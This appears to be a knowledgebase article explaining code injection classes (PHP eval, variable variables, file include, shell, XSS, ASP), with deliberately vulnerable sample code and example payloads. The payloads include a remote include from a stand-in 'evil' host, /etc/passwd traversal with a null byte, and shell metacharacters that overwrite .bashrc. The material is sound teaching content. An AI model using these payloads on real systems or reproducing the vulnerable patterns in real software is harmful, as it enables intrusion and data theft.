Knowledgebase

PHP injection

"PHP Injection," "ASP Injection," et cetera are terms coined which refer to various types of code injection attacks which allow an attacker to supply code to the server side scripting engine. In the case of "PHP Injection," the server side scripting engine is PHP.

In practice, PHP Injection is either the exploitation of "Dynamic Evaluation Vulnerabilities," "Include File Injection," or similar code injection vulnerabilities.

Dynamic evaluation vulnerabilities

Steven M. Christey of mitre.org suggests this name for a class of code injection vulnerabilities.

Dynamic evaluation vulnerabilities - eval injection

An eval injection vulnerability occurs when an attacker can control all or part of an input string that is fed into an eval() function call.^[3]

$myvar = 'somevalue';
$x = $_GET['arg'];
eval('$myvar = ' . $x . ';');

The argument of "eval" will be processed as PHP, so additional commands can be appended. For example, if "arg" is set to "10; system('/bin/echo uh-oh')", additional code is run which executes a program on the server, in this case "/bin/echo".

Dynamic evaluation vulnerabilities - dynamic variable evaluation

As defined in "Dynamic Evaluation Vulnerabilities in PHP applications": PHP supports "variable variables," which are variables or expressions that evaluate to the names of other variables. They can be used to dynamically change which variable is accessed or set during execution of the program. This powerful and convenient feature is also dangerous.

A number of applications have code such as the following:

$safevar = "0";
$param1 = "";
$param2 = "";
$param3 = "";
# my own "register globals" for param[1,2,3]
foreach ($_GET as $key => $value) {
  $$key = $value;
}

If the attacker provides "safevar=bad" in the query string, then $safevar will be set to the value "bad".

Dynamic evaluation vulnerabilities - dynamic function evaluation

The following PHP-examples will execute a function specified by request.

$myfunc = $_GET['myfunc'];
$myfunc();

and:

$myfunc = $_GET['myfunc'];
${"myfunc"}();

Include file injection

Consider this PHP program (which includes a file specified by request):

<?php
   $color = 'blue';
   if (isset( $_GET['COLOR'] ) )
      $color = $_GET['COLOR'];
   require( $color . '.php' );
?>

<form method="get">
   <select name="COLOR">
      <option value="red">red</option>
      <option value="blue">blue</option>
   </select>
   <input type="submit">
</form>

The developer thought this would ensure that only blue.php and red.php could be loaded. But as anyone can easily insert arbitrary values in COLOR, it is possible to inject code from files:

• /vulnerable.php?COLOR=http://evil/exploit? - injects a remotely hosted file containing an exploit.
• /vulnerable.php?COLOR=C:\\ftp\\upload\\exploit - Executes code from an already uploaded file called exploit.php
• /vulnerable.php?COLOR=../../../../../../../../etc/passwd%00 - allows an attacker to read the contents of the passwd file on a UNIX system directory traversal.
• /vulnerable.php?COLOR=C:\\notes.txt%00 - example using NULL meta character to remove the .php suffix, allowing access to files other than .php. (PHP setting "magic_quotes_gpc = On", which is default, would stop this attack)

Shell injection

Shell Injection is named after Unix shells, but applies to most systems which allows software to programmatically execute command line. Typical Shell Injection functions are system(), StartProcess(),java.lang.Runtime.exec(), System.Diagnostics.Process.Start() and similar APIs.

Consider the following short PHP program, which runs an external program called funnytext to replace a word the user sent with some other word.

<?php
passthru ( " /home/user/phpguru/funnytext "
           . $_GET['USER_INPUT'] );
?>

This program can be injected in multiple ways:

• `command` will execute command.
• $(command) will execute command.
• ; command will execute command, and output result of command.
• | command will execute command, and output result of command.
• && command will execute command, and output result of command.
• || command will execute command, and output result of command.
• > /home/user/phpguru/.bashrc will overwrite file .bashrc.
• < /home/user/phpguru/.bashrc will send file .bashrc as input to funnytext.

PHP offers escapeshellarg() and escapeshellcmd() to perform encoding before calling methods. However, it is not recommended to trust these methods to be secure - also validate/sanitize input.

HTML-script injection (cross-site scripting)

HTML/Script injection is a popular subject, commonly termed "Cross-Site Scripting", or "XSS". XSS refers to an injection flaw whereby user input to a web script or something along such lines is placed into the output HTML, without being checked for HTML code or scripting.

The two basic types are as follows:

Active (Type 1)

This type of XSS flaw is less dangerous, as the user input is placed into a dynamically generated page. No changes are made on the server.

Passive (Type 2)

This type is more dangerous, as the input is written to a static page, and as such, is persistent.

HTML injection in IE7 via infected DLL

According to an article^[4] in UK tech site The Register, HTML injection can also occur if the user has an infected DLL on their system. The article quotes Roger Thompson who claims that "the victims' browsers are, in fact, visiting the PayPal website or other intended URL, but that a dll file that attaches itself to IE is managing to read and modify the html while in transit. The article mentions a phishing attack using this attack that manages to bypass IE7 and Symantec's attempts to detect suspicious sites.

ASP injection

"ASP Injection", "PHP Injection" etc. are terms coined which refer to various types of code injection attacks which allow an attacker to supply code to the server side scripting engine. In the case of "ASP Injection", the server side scripting engine is Microsoft Active Server Pages, an add-on to Microsoft IIS.

In practice, ASP Injection is either the exploitation of Dynamic Evaluation Vulnerabilities, Include File Injection or similar code injection vulnerabilities.

Example:

<%
    If Not IsEmpty(Request( "username" ) ) Then
        Const ForReading = 1, ForWriting = 2, ForAppending = 8
        Dim fso, f
        Set fso = CreateObject("Scripting.FileSystemObject")
        Set f = fso.OpenTextFile(Server.MapPath( "userlog.txt" ), ForAppending, True)
        f.Write Request("username") & vbCrLf
        f.close
        Set f = nothing
        Set fso = Nothing
        %>
         <h1>List of logged users:</h1>
         <pre>
        <%
         Server.Execute( "userlog.txt" )
        %>
         </pre>
        <%
    Else
        %>
         <form>
         <input name="username" /><input type="submit" name="submit" />
         </form>
        <%
    End If
%>

In this example, the user is able to insert a command instead of a username.

Code injection is an error in interpretation. Similar interpretation errors exist out side of the world of computer science such as the comedy routine Who's on First?. This conversation was properly validated by this quote: